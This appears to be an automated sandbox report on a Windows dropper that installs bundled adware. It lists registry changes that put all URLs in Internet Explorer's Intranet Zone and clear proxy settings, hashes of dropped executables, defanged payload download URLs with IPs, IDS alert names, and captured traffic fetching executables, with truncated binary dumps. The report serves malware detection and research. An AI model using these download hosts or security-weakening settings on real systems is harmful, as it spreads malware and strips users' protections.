[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Templates" = "%Documents and Settings%\%current user%\Templates"
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\tqrili]
"DisplayVersion" = "${PRODUCT_VERSION}"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\tqrili]
"UninstallString" = "%Documents and Settings%\%current user%\Application Data\tqrili\uninst.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Programs" = "%Documents and Settings%\%current user%\Start Menu\Programs"
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "07 16 5B DF A7 58 79 D5 66 EE 7D 23 1E 93 A1 0B"

[HKLM\SOFTWARE\vgkk]
"g" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\tqrili]
"DisplayName" = "ÌìÆôÈÕÀú"
"URLInfoAbout" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The Dropped modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Dropped modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Dropped modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Dropped deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process xkcc_50091167828.exe:2196 makes changes in the system registry.
The Dropped creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "A7 26 73 62 52 34 F8 65 5E C5 F8 DA 9A 5B B8 0C"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Documents and Settings%\%current user%]
"Application Dataypfbyfgmr.exe" = "ainimei Setup"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

The Dropped modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Dropped modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

The Dropped modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Dropped PE files

MD5	File path
1ef9b76bcbf5cc9f01257ceaae19998e	c:\Documents and Settings\"%CurrentUserName%"\Application Data\AppleDesktop\2.0.1.1001\AppleDTAssistant.exe
2025b30e5b88dc462ed31bbc0192b123	c:\Documents and Settings\"%CurrentUserName%"\Application Data\AppleDesktop\2.0.1.1001\AppleDesktop.exe
c6240767ccc6a1ed71dbd5cb6178d32c	c:\Documents and Settings\"%CurrentUserName%"\Application Data\AppleDesktop\AppleDTShellExt.dll
0e4521e149ac94328d1beab16f83445a	c:\Documents and Settings\"%CurrentUserName%"\Application Data\AppleDesktop\AppleDTShellExt64.dll
a9ef5e948fdc2fd84897174858d959d4	c:\Documents and Settings\"%CurrentUserName%"\Application Data\AppleDesktop\Helper\AppleHelper.exe
9d3d5c2e13e92d330fbac22e1e2534d0	c:\Documents and Settings\"%CurrentUserName%"\Application Data\AppleDesktop\Helper\dshow.exe
50f5a96bbc38592c5274b376fc35a5fb	c:\Documents and Settings\"%CurrentUserName%"\Application Data\AppleDesktop\Helper\mini.exe
5cebd6b9637597fae7058527b8d13ff7	c:\Documents and Settings\"%CurrentUserName%"\Application Data\AppleDesktop\iApple.exe
552855ae554876f7d7ec0860147542b9	c:\Documents and Settings\"%CurrentUserName%"\Application Data\AppleDesktop\uninst.exe
15b5cbaab65ab6bd15b36cec9ff11555	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Application Data\sjss\sjss.exe
05714e222ea2fdbf70414cc82b4fa9ab	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Application Data\sjss\uninstall.exe
ae3d0b0686f4b89c6bdcd69dfa8fc3b1	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\6LMBG52V\a-zm-157391-v5[1].exe
58c77b4b19dba6c3a2971c0b3735fc45	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\6LMBG52V\axult[1].exe
430f63435575980f70192c4602af8f0b	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\6LMBG52V\tqrl_89_177560[1].exe
6d6dbaafbdb27b66f2773203ae554b05	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\P4NAZ85F\IFoxInstall-y-c203945859-run-s-x[1].exe
ecb3ddfae392af902d474849469561cb	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\P4NAZ85F\axuls[1].exe
02aab2d719917873b95f7e285991ad62	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\P4NAZ85F\sjss_jing_zhimeng_217[1].exe
e3778a31940fa71715d6160116404107	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\U2EALEEE\apples_5_1008[1].exe
181da1458ff21bf5fe0197cbd8a369c6	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\U2EALEEE\setup_2948-140896[1].exe
c00935fa58f07e1912b5403e23b56a03	c:\Program Files\FM4.0\201409180317\DuiLib.dll
a6aa0ce59d41ae32aacb4870672abce0	c:\Program Files\FM4.0\201409180317\FHSev.exe
299d4ccd683231974ba6e2dc9b3ed79c	c:\Program Files\FM4.0\201409180317\Unins.exe
4e21252ab923193b4fda81e4565b5401	c:\Program Files\FM4.0\201409180317\audio.dll
626eb51c0d3de4ba871f04a9aca8c5d5	c:\Program Files\FM4.0\201409180317\avcodec-54.dll
623fdb29b9965a145eb8bb40327c73a4	c:\Program Files\FM4.0\201409180317\avcore.dll
41d743562a515aeea619f53ddabb0440	c:\Program Files\FM4.0\201409180317\avformat-54.dll
5c9f02d245994a48af6502be4b40cd1b	c:\Program Files\FM4.0\201409180317\avutil-52.dll
f02b692e92c1870071bfe7e7e2ff3948	c:\Program Files\FM4.0\201409180317\fm4.exe
d2dfe4ef36e03c9d18c333c3e754314a	c:\Program Files\FM4.0\201409180317\fm4svr.exe
d2f7b09bb01aee3366a531acbfe0f131	c:\Program Files\FM4.0\201409180317\libav.dll
b82801876d49fb80044b84c142746efd	c:\Program Files\FM4.0\201409180317\pthreadGC2.dll
d324717f930dd98013d786fb47d81d3f	c:\Program Files\FM4.0\201409180317\source.dll
0f4aee47b55b4dcbf4a365f2c71de951	c:\Program Files\FM4.0\201409180317\swresample-0.dll
6d6dbaafbdb27b66f2773203ae554b05	c:\Program Files\fjwyusp\IFoxInstall-y-c203945859-run-s-x.exe
ae3d0b0686f4b89c6bdcd69dfa8fc3b1	c:\Program Files\fjwyusp\a-zm-157391-v5.exe
ecb3ddfae392af902d474849469561cb	c:\Program Files\fjwyusp\axuls.exe
58c77b4b19dba6c3a2971c0b3735fc45	c:\Program Files\fjwyusp\axult.exe
61bb8719ef4107fef3038415b4660429	c:\Program Files\fjwyusp\fjwyusp.exe
e3778a31940fa71715d6160116404107	c:\Program Files\fjwyusp\hzsoft\apples_5_1008.exe
02aab2d719917873b95f7e285991ad62	c:\Program Files\fjwyusp\hzsoft\sjss_jing_zhimeng_217.exe
430f63435575980f70192c4602af8f0b	c:\Program Files\fjwyusp\hzsoft\tqrl_89_177560.exe
919698fd27d7d63723a9407191b11420	c:\Program Files\fjwyusp\rnr20.dll
181da1458ff21bf5fe0197cbd8a369c6	c:\Program Files\fjwyusp\setup_2948-140896.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

No information is available.

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	4096	67196	67584	4.54827	5c4d5ace2672731f58b9d31b4d21f13f
.rdata	73728	6101	6144	3.82125	019ad0f666e2ac17292e5d20e1bdf6c3
.data	81920	49140	512	2.45613	2821477811bfd11f4acd2c1da2aba6da
.CRT	131072	16	512	0.147711	324bcdad78da9eab2e1651550291e550
.rsrc	135168	15968	16384	2.49689	01295a5b863fa84cf5ba5849995fa5ca

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Total found: 4
0808a47e7121b9bb97477cdc66a9573f
fa6954afc23b8eb00d4e2b7ae8b5ad44
34b8cea184d1c315eaaa766888f0d691
603997420d04a16f1b040095040542a7

URLs

URL	IP
hxxp://adsvc2.9365.info/ad/softad/popup.htm	219.239.223.191
hxxp://adsvc2.9365.info/count/softcount/?pwc	219.239.223.191
hxxp://c.split.cnzz.com/stat.php?id=4327411&web_id=4327411&show=pic
hxxp://z6.cnzz.com/stat.htm?id=4327411&r=&lg=en-us&ntime=none&cnzz_eid=921366142-1410999416-&showp=1276x846&t=&h=1&rnd=2115344014
hxxp://c.split.cnzz.com/core.php?web_id=4327411&show=pic&t=z
hxxp://cbjs.e.shifen.com/js/s.js
hxxp://icon.cnzz.com/img/pic.gif	42.156.162.7
hxxp://pcookie.split.cnzz.com/9.gif?abc=1&rnd=879903237
hxxp://adsvc2.9365.info/tc.htm	219.239.223.191
hxxp://pcookie.split.cnzz.com/app.gif?&cna=ehKhDDcf y8CAcGK9OfwIiB
hxxp://cb.e.shifen.com/ecom?di=98364&dcb=BAIDU_DUP_define&dtm=BAIDU_DUP2_SETJSONADSLOT&dbv=0&dci=0&dri=0&dis=4&dai=1&dds=&drs=3&dvi=1410832926&ltu=http://adsvc2.9365.info/ad/softad/popup.htm&liu=&ltr=&lcr=&ps=13x8&psr=1276x846&par=1276x818&pcs=0x0&pss=20x30&pis=-1x-1&cfv=11&ccd=32&chi=0&cja=true&cpl=0&cmi=0&cce=true&col=en-us&cec=gb2312&cdo=-1&tsr=172&tlm=1352217204&tcn=1410999396&tpr=1410999395508&dpt=none&coa=&baidu_id=
hxxp://cbjs.e.shifen.com/painter/clb/popup7o.js
hxxp://adsvc2.9365.info/ad/softad/pwc.htm	219.239.223.191
hxxp://adsvc2.9365.info/dls/axuls.exe	219.239.223.191
hxxp://adsvc2.9365.info/dls/axult.exe	219.239.223.191
hxxp://download.grandcloud.cn/9291/25605/sjss_jing_zhimeng_217.exe	58.215.169.42
hxxp://adsvc2.9365.info/hzsoft/IFoxInstall-y-c203945859-run-s-x.exe	219.239.223.191
hxxp://183.61.184.37/02aab2d719917873b95f7e285991ad620000000000082370/9291/25605/sjss_jing_zhimeng_217.exe
hxxp://download.grandcloud.cn/9291/15474/setup_2949-14598.exe	58.215.169.42
hxxp://175.6.4.178/280cf9c20714744ccd17e57f66106dc70000000000370d38/9291/15474/setup_2949-14598.exe
hxxp://fbjuni.a.sohu.com/upgrade/IFoxInfo.cfg
hxxp://tclick.wauee.net/link/140896/setup_2948-140896.exe
hxxp://allot.hd.sohu.com/foxd/gz?file=SohuNewPlayer.exe&new=/212/10/LX1gaYhp2TxOw4UbWrnLg7.exe
hxxp://aaa.163vv.com/open/setup_2948-140896.exe
hxxp://58.216.27.32/sohu/s26h23eab6/ifox/TGogo6wdTGwyTAuHoaX1aa1yov-UE3tAkah9tliosGtNs91v/SohuNewPlayer.exe
hxxp://down.haoie.net/2suys_31_1008_01.exe	222.186.60.3
hxxp://updateinfo.yyhsj.cn/kbtongji.asp?sn=sjss_jing_zhimeng_217.exe&tmac=8a0c008b3729&action=kb&ver=0.4	59.53.63.26
hxxp://down.haoie.net/apples_5_1008.exe	222.186.60.3
hxxp://inapi.9vh.net/index.php?encode=NDk5NjI1KlllcyxwY2EqMDSwDtMEMtMjktIkLEEtIkLEItMzcscG9kKjUsdW9kKjEwMDgsb3MqV2luZG93cyBYUCxwb2lzb24qLHN0YXTgF1cyoxLGxpc3QqQzpcTgFG9jdW1lbnTgFzIGFuZCBTZXTgF0aW5nc1xhZG1cQXBwbGljYXTgFpb24gTgFGF0YVxBcHBsZUTgFlc2t0b3SwDSwD&process=apples_5_1008.exe	222.186.60.74
hxxp://stat.eliang.com/cstat.php	14.18.141.126
hxxp://inapi.9vh.net/index.php?encode=NTSwDwNDg0KlllcyxwY2EqMDSwDtMEMtMjktIkLEEtIkLEItMzcscG9kKjUsdW9kKjEwMDgsb3MqV2luZG93cyBYUCxwb2lzb24qLHN0YXTgF1cyoyLGxpc3QqQzpcTgFG9jdW1lbnTgFzIGFuZCBTZXTgF0aW5nc1xhZG1cQXBwbGljYXTgFpb24gTgFGF0YVxBcHBsZUTgFlc2t0b3SwDSwD&process=apples_5_1008.exe	222.186.60.74
hxxp://inapi.9vh.net/index.php?encode=NTSwDwNTSwDwKlllcyxwY2EqMDSwDtMEMtMjktIkLEEtIkLEItMzcscG9pc29uKixWZXJzaW9uKjIuMC4xLjEwMDEsbGFzdF90aW1lcyoxNDEwIkLTk5NDIzLHN0YXTgF1cyoySwDSwDQegZ27vc&process=apples_5_1008.exe	222.186.60.74
hxxp://sinaapp.com/dc/run/start/2.0.1.1001/c654925393ae14277410758bb43bb4ec/2561/28/1970-1-1/?
hxxp://sinaapp.com/dc/setup/install/2.0.1.1001/c654925393ae14277410758bb43bb4ec/2561/28/1970-1-1/?result=succ
hxxp://c06.i06.arnic.hadns.net/tqrl_89_177560.exe
hxxp://client-b.jtdichan.com/packages/g_wz/default2/a-zm-157391-v5.exe	61.147.97.229
hxxp://update.yinyue.fm/DM15/DMSet.Xml	222.186.60.13
hxxp://update.163vv.com/stj.ashx?v=1.14.820.1&t=41
hxxp://c06.i06.arnic.hadns.net/0815/help1.html
hxxp://down.chinashangrui.com/xkgb/xkcc_50091167828.exe	222.186.60.77
hxxp://www.meimotuan.com/ico.ico	114.215.202.132
hxxp://down.chinashangrui.com/xkna/xkna_50091167828.exe	222.186.60.77
hxxp://tongji.yinyue.fm/a.ashx?v=51856086832E9ADB347D74A1629E1CFEB5DC550C165417452F22832D24A951CAAFFC03962B62E52CCBF64CA69B5AF643186FDCD5FBEAC2F2F99B14F7904EE489ACB7D5F447E350A705904461522CDC97865D9D861FB35CB7248760DE2BB230184CB1882A5F42401CB6EB7ECD8659BA964F712249A8AFF852125B284DE3F595E4604E0B1FF6D36DC4	171.111.158.28
hxxp://update.yinyue.fm/appupdate/ver.txt	222.186.60.13
hxxp://update.163vv.com/fwtj.ashx?v=1.14.820.1
hxxp://dx5.3525.com/tjapis.php?mac=000C298A8B37&st=1&exez=tqrl_89_177560.exe&exef=axuls.exe&pass=7a41a5df85b86824a6d2d5418a8cd43e&url1=hxxp://ya.ru/&url2=ya
hxxp://API.TUPIAN8.CN/report/install
hxxp://update.yinyue.fm/Update.rar	222.186.60.13
hxxp://20140918081631105.wangendong.com/htop/htop_x.exe	60.221.255.11
hxxp://API.TUPIAN8.CN/report/use
hxxp://s.sogv.com/ext/ext.7z	59.53.63.20
hxxp://API.TUPIAN8.CN/client/jstm/1.1.0.0a-zm-157391-v5.exe
hxxp://union.yoyolm.net/tjapis.php?mac=000C298A8B37&st=1&exez=tqrl_89_177560.exe&exef=axuls.exe&pass=7a41a5df85b86824a6d2d5418a8cd43e&url1=hxxp://ya.ru/&url2=ya	222.186.130.92
hxxp://s85.cnzz.com/stat.php?id=4327411&web_id=4327411&show=pic	1.99.192.16
hxxp://219.239.223.191/dls/axuls.exe
hxxp://updatetest.wuji.com/stj.ashx?v=1.14.820.1&t=41	219.232.242.219
hxxp://cbjs.baidu.com/js/s.js	123.125.65.120
hxxp://219.239.223.191/hzsoft/IFoxInstall-y-c203945859-run-s-x.exe
hxxp://API.TUPIAN8.CN/config/iplocater
hxxp://photocdn.hd.sohu.com/upgrade/IFoxInfo.cfg	61.135.181.167
hxxp://appledesktop.sinaapp.com/dc/setup/install/2.0.1.1001/c654925393ae14277410758bb43bb4ec/2561/28/1970-1-1/?result=succ	220.181.136.30
hxxp://API.TUPIAN8.CN/config/juese/adconf
hxxp://www.tonnn.com/client/jstm/1.1.0.0a-zm-157391-v5.exe	61.147.97.233
hxxp://cnzz.mmstat.com/9.gif?abc=1&rnd=879903237	42.120.219.171
hxxp://wcapi.9vh.net/index.php?encode=NTSwDwNTSwDwKlllcyxwY2EqMDSwDtMEMtMjktIkLEEtIkLEItMzcscG9pc29uKixWZXJzaW9uKjIuMC4xLjEwMDEsbGFzdF90aW1lcyoxNDEwIkLTk5NDIzLHN0YXTgF1cyoySwDSwDQegZ27vc&process=apples_5_1008.exe	222.186.60.74
hxxp://pcookie.cnzz.com/app.gif?&cna=ehKhDDcf y8CAcGK9OfwIiB	42.120.219.171
hxxp://updatetest.wuji.com/fwtj.ashx?v=1.14.820.1	219.232.242.219
hxxp://adsvc1.haoda123.com/tc.htm	219.239.223.191
hxxp://down.9vh.net/apples_5_1008.exe	222.186.60.3
hxxp://219.239.223.191/dls/axult.exe
hxxp://down.yinyue.fm/open/setup_2948-140896.exe	222.186.60.18
hxxp://c.cnzz.com/core.php?web_id=4327411&show=pic&t=z	42.156.140.11
hxxp://appledesktop.sinaapp.com/dc/run/start/2.0.1.1001/c654925393ae14277410758bb43bb4ec/2561/28/1970-1-1/?	220.181.136.30
hxxp://dup.baidustatic.com/painter/clb/popup7o.js	123.125.65.120
hxxp://update.yoyolm.net/0815/help1.html	183.57.148.247
hxxp://cb.baidu.com/ecom?di=98364&dcb=BAIDU_DUP_define&dtm=BAIDU_DUP2_SETJSONADSLOT&dbv=0&dci=0&dri=0&dis=4&dai=1&dds=&drs=3&dvi=1410832926&ltu=http://adsvc2.9365.info/ad/softad/popup.htm&liu=&ltr=&lcr=&ps=13x8&psr=1276x846&par=1276x818&pcs=0x0&pss=20x30&pis=-1x-1&cfv=11&ccd=32&chi=0&cja=true&cpl=0&cmi=0&cce=true&col=en-us&cec=gb2312&cdo=-1&tsr=172&tlm=1352217204&tcn=1410999396&tpr=1410999395508&dpt=none&coa=&baidu_id=	123.125.115.99
hxxp://down.tianyunxj.com/tqrl_89_177560.exe	116.11.254.249
hxxp://data.vod.itc.cn/foxd/gz?file=SohuNewPlayer.exe&new=/212/10/LX1gaYhp2TxOw4UbWrnLg7.exe	220.181.61.213
hxxp://click.t3nlink.com/link/140896/setup_2948-140896.exe	61.147.97.228
hxxp://hzs2.cnzz.com/stat.htm?id=4327411&r=&lg=en-us&ntime=none&cnzz_eid=921366142-1410999416-&showp=1276x846&t=&h=1&rnd=2115344014	42.156.140.19
api.tupian8.cn	61.147.97.233
lct.mnxc8.net	103.250.12.212
static.tonnn.com

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected
ET TROJAN VMProtect Packed Binary Inbound via HTTP - Likely Hostile
ET MALWARE Possible Windows executable sent when remote host claims to send html content
ET MALWARE Suspicious Mozilla User-Agent - Likely Fake (Mozilla/4.0)
ET POLICY User-Agent (NSIS_Inetc (Mozilla)) - Sometimes used by hostile installers
ET POLICY HTTP Request on Unusual Port Possibly Hostile

Traffic

GET /index.php?encode=NTSwDwNTSwDwKlllcyxwY2EqMDSwDtMEMtMjktIkLEEtIkLEItMzcscG9pc29uKixWZXJzaW9uKjIuMC4xLjEwMDEsbGFzdF90aW1lcyoxNDEwIkLTk5NDIzLHN0YXTgF1cyoySwDSwDQegZ27vc&process=apples_5_1008.exe HTTP/1.1

Host: wcapi.9vh.net

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 18 Sep 2014 00:17:27 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Vary: Accept-Encoding

X-Powered-By: PHP/5.3.28
0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 18 Sep 2014 00:17:27 GMT
..Content-Type: text/html; charset=utf-8..Transfer-Encoding: chunked..
Connection: keep-alive..Vary: Accept-Encoding..Vary: Accept-Encoding..
X-Powered-By: PHP/5.3.28..0..

POST /config/iplocater HTTP/1.0

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/msword, application/vnd.ms-powerpoint, */*

Accept-Language: en-us

User-Agent: Mozilla/4.0

Host: API.TUPIAN8.CN

Content-Type: application/x-www-form-urlencoded

HTTP/1.1 302 FOUND

Server: nginx/1.2.0

Date: Thu, 18 Sep 2014 00:17:57 GMT

Content-Type: text/html; charset=utf-8

Content-Length: 219

Connection: close

Location: hXXp://API.TUPIAN8.CN/login

P3P: CP="UNI CUR OUR", policyref="/w3c/p3p.xml"
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">.<titl
e>Redirecting...</title>.<h1>Redirecting...</h1>.
<p>You should be redirected automatically to target URL: <a h
ref="/login">/login</a>.  If not click the link...

GET /sohu/s26h23eab6/ifox/TGogo6wdTGwyTAuHoaX1aa1yov-UE3tAkah9tliosGtNs91v/SohuNewPlayer.exe HTTP/1.1

Accept: */*

Connection: Keep-Alive

Cache-Control: no-cache

Host: 58.216.27.32

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 18 Sep 2014 00:17:12 GMT

Content-Type: application/octet-stream

Content-Length: 16733640

Last-Modified: Wed, 13 Aug 2014 16:11:05 GMT

Connection: keep-alive

ETag: "53eb8e19-ff55c8"

Expires: Fri, 16 Jan 2015 00:17:12 GMT

Cache-Control: max-age=10368000

Accept-Ranges: bytes
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.........)...G...G.
..G.......G.......G.......G..;*...G..;<...G...F.;.G.......G.......G
.......G.......G.Rich..G.........PE..L......R.....................~...
....7............@.......................................@............
.............p....t...............0...........@[email protected]........
...........................@..........................................
..text............................... ..`.rdata...~...................
.......@[email protected]... ....P...<[email protected]......
.2...~..............@[email protected]..<....@[email protected]...
......................................................................
......................................................................
......................................................................
......................................................................
...........................................................I..........
...............S.\$.V.....t .F.Wh..B..~.Pj.V.$......t.W.|........_^[..
.....I....t.V..........^[..................d.I...........V....d.I.....
..D$..t.V.C........^...............j.hH G.d.....PQV..PL.3.P.D$.d......
..t$......3..D$..N...p.I.j..A..A.....P.A..D$$P........L$.d......Y^....
........y$.r..A...A.....D$.VP...s.....|.I...^..........V....p.I..~$.r.
.F.P.v......3..F$.....F .F...^.......................I................
.I............L$.....I..Q..P...............S.\$.V.....t .F.Wh..@..
<<< skipped >>>

GET /xkgb/xkcc_50091167828.exe HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: down.chinashangrui.com

Connection: Keep-Alive

HTTP/1.1 302 Moved Temporarily

Server: nginx

Date: Wed, 17 Sep 2014 23:53:10 GMT

Content-Type: text/html

Content-Length: 154

Connection: keep-alive

Keep-Alive: timeout=20

Location: hXXp://down.chinashangrui.com/xkna/xkna_50091167828.exe
<html>..<head><title>302 Found</title></hea
d>..<body bgcolor="white">..<center><h1>302 Found
</h1></center>..<hr><center>nginx</center&g
t;..</body>..</html>......


GET /xkna/xkna_50091167828.exe HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: down.chinashangrui.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx

Date: Wed, 17 Sep 2014 23:53:10 GMT

Content-Type: application/octet-stream

Content-Length: 3465728

Last-Modified: Sun, 24 Aug 2014 08:48:04 GMT

Connection: keep-alive

Keep-Alive: timeout=20

ETag: "53f9a6c4-34e200"

Accept-Ranges: bytes
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$...................
......C.......v.......w._.....N.........c.....r.......G.......@.....Ri
ch....................PE..L......S......................3......F......
[email protected]...@.......................
...........4..d.......\H3...................4.........................
.............*[email protected].
.......................... ..`.rdata...=.......>..................@
[email protected]=...@.......,[email protected]...\H3......J3..D.....
.........@[email protected][email protected].................
......................................................................
......................................................................
......................................................................
......................................................................
.................................................P..$.................
[email protected]. [email protected]............_
[email protected]. [email protected]..!.............
...AB..u.....U..j.h..@.d.....P...VW..DA.3.P.E.d...........E.....W.}...
.........u.....E..E.......xg.M..Q. .;.}[.u.FV.....V..j.W.*A...M....E..
U.PRW..!......u..,...W.}#[email protected].. W.{..E...
.....................u.V.5#........M.d......Y_^..].........U..QVW.....
...I..F.P......U..M.QR..VW..#......E...y W..".................~._.
<<< skipped >>>

GET /ext/ext.7z HTTP/1.1

User-Agent: DownLoad

Host: s.sogv.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Thu, 18 Sep 2014 00:18:30 GMT

Content-Length: 54492

Content-Type: application/octet-stream

Content-Location: hXXp://s.sogv.com/ext/ext.7z

Last-Modified: Sun, 20 Jul 2014 14:08:34 GMT

Accept-Ranges: bytes

ETag: "861c1f1824a4cf1:195f"

Server: NGINX/0.6.39

X-Powered-By: WAF/2.0
7z..'...............$.........4\.~..\].=.=A......$...~.%.....s...f.^Rj
c1..~-.......`.~..`..YVJZ1..E.........#.]33[.R.CW? R:.fh;Da.M..._<.
........2.9.u.fzP....x.....q%...}./..(..1....Q.qm......9.L.q..h..z....
.,...Y..6.....$bR.....k........6...A)....`.^.M........d.mv.u.V.nW..i.n
